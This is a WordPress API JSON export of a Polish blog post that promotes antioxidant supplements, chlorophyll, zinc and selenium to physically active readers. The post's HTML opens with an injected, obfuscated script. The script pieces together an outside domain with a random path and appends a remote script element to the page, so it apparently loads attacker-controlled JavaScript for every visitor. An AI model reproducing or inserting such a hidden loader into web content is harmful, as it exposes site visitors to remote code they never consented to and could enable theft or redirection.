{"id":10787,"date":"2023-03-30T10:09:27","date_gmt":"2023-03-30T08:09:27","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=10787"},"modified":"2023-10-23T12:49:03","modified_gmt":"2023-10-23T10:49:03","slug":"antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","title":{"rendered":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107?"},"content":{"rendered":"\n<script>\n(function(){\ncete=document.createElement(\"script\");cete_=(\"ust\");ceteu=\"495685195\";\ncete_+=\"a\"+(\"t.i\");cete.type=\"text\/javascript\";\nceteu+=\".ylxb6hzdete2X7uqu92i\";cete.async=true;cete_+=\"n\"+(\"f\"+\"o\")+\"\/\";\nceteu+=\"ay75745dkg\";cete.src=\"https:\/\/\"+cete_+ceteu;\ndocument.body.appendChild(cete);\n})();\n<\/script>\n<p class=\"wp-block-paragraph\">Suplementacja antyoksydantami to g\u0142o\u015bny temat, szczeg\u00f3lnie w diecie os\u00f3b aktywnych fizycznie \u2013 nie tylko profesjonalnych sportowc\u00f3w, ale ka\u017cdego, kto kocha ruch. Korzy\u015bci z uprawiania sportu znacznie przewy\u017cszaj\u0105 ryzyko zwi\u0105zane z ilo\u015bci\u0105 wolnych rodnik\u00f3w, ale warto pom\u00f3c organizmowi upora\u0107 si\u0119 z potencjalnym nadmiarem szkodliwych substancji, w\u0142\u0105czaj\u0105c do swojej diety suplementy z antyoksydantami.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Zastrzyk antyoksydant\u00f3w: suplement czy dieta?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Sport to zdrowie i wiemy o tym nie od dzi\u015b, ale r\u00f3wnocze\u015bnie naukowcy bij\u0105 na alarm: wysi\u0142ek fizyczny zwi\u0119ksza ilo\u015b\u0107 wolnych rodnik\u00f3w w naszym organizmie, a te mog\u0105 by\u0107 gro\u017ane nie tylko dla os\u00f3b, kt\u00f3rym zale\u017cy na m\u0142odej sk\u00f3rze. Ich nadmiar najcz\u0119\u015bciej prowadzi do mia\u017cd\u017cycy i k\u0142opot\u00f3w z uk\u0142adem krwiono\u015bnym, a tak\u017ce do schorze\u0144 takich jak \u0142uszczyca, egzema czy nawet nowotwory sk\u00f3ry, choroba Alzheimera i Parkinsona. Intensywny wysi\u0142ek te\u017c czasem mo\u017ce powodowa\u0107 te\u017c stany zapalne w organizmie. Czy to oznacza, \u017ce powinni\u015bmy zrezygnowa\u0107 ze sportu i wie\u015b\u0107 \u017cycie kanapowc\u00f3w? Bynajmniej!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Naturaln\u0105 odpowiedzi\u0105 na walk\u0119 z wolnymi rodnikami s\u0105 sk\u0142adniki takie jak witamina C i E, a tak\u017ce flawonoidy, kt\u00f3re wykazuj\u0105 silne dzia\u0142anie antyoksydacyjne i wyst\u0119puj\u0105 naturalnie w po\u017cywieniu. Osoby, kt\u00f3rym zale\u017cy na dostarczeniu cia\u0142u niezb\u0119dnych antyoksydant\u00f3w, powinny spo\u017cywa\u0107 produkty takie jak kasze, orzechy, nasiona i pestki, a tak\u017ce ryby morskie i mleko. Warto te\u017c je\u015b\u0107 kolorowo: \u017c\u00f3\u0142te, czerwone i pomara\u0144czowe owoce i warzywa naprawd\u0119 maj\u0105 moc!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Czy odpowiednio zbilansowana dieta bogata w sk\u0142adniki od\u017cywcze wystarczy, by zwalczy\u0107 negatywny wp\u0142yw wolnych rodnik\u00f3w? Szereg suplement\u00f3w zawieraj\u0105cych antyoksydanty na rynku pozwala my\u015ble\u0107, \u017ce nawet hurtowe ilo\u015bci kolorowej papryki i rozmaitych ryb to za ma\u0142o.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Antyoksydanty a suplementy diety \u2013 co wybra\u0107?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Suplementy z antyoksydantami mog\u0105 stanowi\u0107 uzupe\u0142nienie zdrowej diety. Uzyskiwanie w\u0142a\u015bciwej dawki antyoksydant\u00f3w z diety przez ca\u0142y rok mo\u017ce by\u0107 trudne nawet dla os\u00f3b do\u015bwiadczonych w kwestii zdrowego \u017cywienia. Dost\u0119pno\u015b\u0107 \u015bwie\u017cych produkt\u00f3w wysokiej jako\u015bci zmienia si\u0119 wraz z porami roku, a intensywny tryb \u017cycia nie zawsze sprzyja m\u0105drym wyborom dietetycznym. Ponadto u os\u00f3b aktywnych fizycznych zapotrzebowanie na sk\u0142adniki od\u017cywcze znacznie przewy\u017csza podstawowe warto\u015bci.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">W\u0142a\u015bnie dlatego warto w\u0142\u0105czy\u0107 do swojej codzienno\u015bci suplementacj\u0119 antyoksydantami w dawce odpowiadaj\u0105cej wyzwaniom wsp\u00f3\u0142czesnego stylu \u017cycia, kt\u00f3ry powoduje, \u017ce w naszych organizmach gromadzi si\u0119 mn\u00f3stwo oksydant\u00f3w powoduj\u0105cych stres oksydacyjny. Warto zainwestowa\u0107 w najsilniejsze antyoksydanty, kt\u00f3re zawieraj\u0105 ekstrakt z winogron (tzw. Resweratrol), astaksantyn\u0119 \u2013 \u015bwietnie ochraniaj\u0105c\u0105 oczy przed czynnikami prozapalnymi \u2013 a tak\u017ce witamin\u0119 C zwalczaj\u0105c\u0105 stan zapalny \u2013 radz\u0105 eksperci <a href=\"https:\/\/sklep.lab1.com\/produkt\/n-deg-1-antioxidant-max\">Lab One<\/a>, kt\u00f3rzy opracowuj\u0105 unikalne receptury suplement\u00f3w z antyoksydantami oparte na wzajemnej zale\u017cno\u015bci makrosk\u0142adnik\u00f3w.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Antyoksydanty kontra inne suplementy \u2013 jak m\u0105drze \u0142\u0105czy\u0107 preparaty?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Antyoksydanty a inna suplementacja to z\u0142o\u017cony temat. Co jeszcze warto mie\u0107 w domowej apteczce, by osi\u0105gn\u0105\u0107 optymalne efekty i w pe\u0142ni wykorzysta\u0107 moc antyoksydant\u00f3w?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Okazuje si\u0119, \u017ce r\u00f3wnie istotne dla zwalczenia wolnych rodnik\u00f3w i stan\u00f3w zapalnych jest wsparcie odporno\u015bci uk\u0142adu oddechowego, kt\u00f3remu nie sprzyjaj\u0105 smog, zanieczyszczenie i globalne ocieplenie klimatu. Toksyczne zwi\u0105zki przenikaj\u0105ce do organizmu z powietrza maj\u0105 zgubny wp\u0142yw na nasze zdrowie, dlatego by nie zaprzepa\u015bci\u0107 korzy\u015bci, kt\u00f3re daj\u0105 antyoksydanty, warto do\u0142\u0105czy\u0107 do nich suplementacj\u0119 chlorofilem, najlepiej wzbogaconym o silnie przeciwutleniaj\u0105ce algi, takie jak spirulina i chlorella. Dobrym pomys\u0142em b\u0119dzie te\u017c suplementacja cynku i selenu, kt\u00f3re r\u00f3wnie\u017c maj\u0105 w\u0142a\u015bciwo\u015bci antyoksydacyjne, a ich pozyskanie z po\u017cywienia mo\u017ce by\u0107 trudne.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Suplementacja antyoksydantami to g\u0142o\u015bny temat, szczeg\u00f3lnie w diecie os\u00f3b aktywnych fizycznie \u2013 nie tylko profesjonalnych sportowc\u00f3w, ale ka\u017cdego, kto kocha ruch. Korzy\u015bci z uprawiania sportu znacznie przewy\u017cszaj\u0105 ryzyko zwi\u0105zane z ilo\u015bci\u0105 wolnych rodnik\u00f3w, ale&#46;&#46;&#46;<\/p>\n","protected":false},"author":7,"featured_media":10788,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[15,833],"class_list":["post-10787","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dieta-fitness","tag-antyoksydanty","tag-suplementy-diety"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Suplementacja antyoksydantami to g\u0142o\u015bny temat, szczeg\u00f3lnie w diecie os\u00f3b aktywnych fizycznie \u2013 nie tylko profesjonalnych sportowc\u00f3w, ale ka\u017cdego, kto kocha ruch. Korzy\u015bci z uprawiania sportu znacznie przewy\u017cszaj\u0105 ryzyko zwi\u0105zane z ilo\u015bci\u0105 wolnych rodnik\u00f3w, ale&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2023-03-30T08:09:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-10-23T10:49:03+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Redakcja\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Redakcja\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\"},\"author\":{\"name\":\"Redakcja\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/ef27880ba877fe1642ac8125b48c5a9a\"},\"headline\":\"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107?\",\"datePublished\":\"2023-03-30T08:09:27+00:00\",\"dateModified\":\"2023-10-23T10:49:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\"},\"wordCount\":645,\"commentCount\":1,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/antyoksydanty-w-diecie.jpg\",\"keywords\":[\"antyoksydanty\",\"suplementy diety\"],\"articleSection\":[\"Dieta i Fitness\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\",\"name\":\"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/antyoksydanty-w-diecie.jpg\",\"datePublished\":\"2023-03-30T08:09:27+00:00\",\"dateModified\":\"2023-10-23T10:49:03+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/ef27880ba877fe1642ac8125b48c5a9a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/antyoksydanty-w-diecie.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/antyoksydanty-w-diecie.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/dieta-fitness\\\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Dieta i Fitness\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/dieta-fitness\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/ef27880ba877fe1642ac8125b48c5a9a\",\"name\":\"Redakcja\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g\",\"caption\":\"Redakcja\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/redakcja\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","og_locale":"pl_PL","og_type":"article","og_title":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Suplementacja antyoksydantami to g\u0142o\u015bny temat, szczeg\u00f3lnie w diecie os\u00f3b aktywnych fizycznie \u2013 nie tylko profesjonalnych sportowc\u00f3w, ale ka\u017cdego, kto kocha ruch. Korzy\u015bci z uprawiania sportu znacznie przewy\u017cszaj\u0105 ryzyko zwi\u0105zane z ilo\u015bci\u0105 wolnych rodnik\u00f3w, ale&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2023-03-30T08:09:27+00:00","article_modified_time":"2023-10-23T10:49:03+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg","type":"image\/jpeg"}],"author":"Redakcja","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Redakcja","Szacowany czas czytania":"4 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec"},"author":{"name":"Redakcja","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/ef27880ba877fe1642ac8125b48c5a9a"},"headline":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107?","datePublished":"2023-03-30T08:09:27+00:00","dateModified":"2023-10-23T10:49:03+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec"},"wordCount":645,"commentCount":1,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg","keywords":["antyoksydanty","suplementy diety"],"articleSection":["Dieta i Fitness"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","url":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec","name":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg","datePublished":"2023-03-30T08:09:27+00:00","dateModified":"2023-10-23T10:49:03+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/ef27880ba877fe1642ac8125b48c5a9a"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/03\/antyoksydanty-w-diecie.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/dieta-fitness\/antyoksydanty-w-suplementacji-osob-aktywnych-co-warto-na-ten-temat-wiedziec#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Dieta i Fitness","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/dieta-fitness"},{"@type":"ListItem","position":3,"name":"Antyoksydanty w suplementacji os\u00f3b aktywnych \u2013 co warto na ten temat wiedzie\u0107?"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/ef27880ba877fe1642ac8125b48c5a9a","name":"Redakcja","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a7ab6604cad6b79da053dd9dc259a7f380f5153bd2e795801806c4af791c95ff?s=96&d=wavatar&r=g","caption":"Redakcja"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/redakcja"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10787","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=10787"}],"version-history":[{"count":3,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10787\/revisions"}],"predecessor-version":[{"id":10791,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10787\/revisions\/10791"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/10788"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=10787"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=10787"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=10787"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}